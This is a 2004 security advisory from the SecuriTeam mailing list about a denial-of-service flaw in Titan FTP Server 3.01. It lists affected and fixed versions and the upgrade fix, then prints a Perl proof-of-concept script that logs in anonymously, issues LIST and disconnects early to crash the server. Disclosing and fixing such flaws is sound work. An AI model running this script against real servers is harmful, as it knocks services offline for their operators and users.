Date: 4 May 2004 14:13:56 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [NT] Titan FTP Server Aborted LIST DoS
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Titan FTP Server Aborted LIST DoS
------------------------------------------------------------------------
SUMMARY
A security vulnerability exists in South River Technologies' Titan FTP
Server, a user issuing a LIST command and disconnecting before the LIST
command had the time to connect, will cause the program to try and access
an invalid socket. This will result in the FTP service's crash (and in
turn, no longer being able to service any additional users).
DETAILS
Vulnerable Systems:
* Titan FTP Server version 3.01 build 163
Immune Systems:
* Titan FTP Server version 3.10 build 169
Solution:
To solve this issue upgrade to the latest version (3.10 build 169 or
newer).
Exploit:
#!/usr/bin/perl
# Test for Titan FTP server security vulnerability
use IO::Socket;
$host = "192.168.1.243";
my @combination;
$combination[0] = "LIST \r\n";
for (my $i = 0; $combination[$i] ; $i++)
{
print "Combination: $1\n";
$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "2112",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }
print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "USER anonymous\r\n";
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = "PASS a\@b.com\r\n";
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}
$ftp = $combination[$i];
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/150 /)
{
last;
}
close $remote;
}
ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:[email protected]> STORM for
finding this vulnerability.
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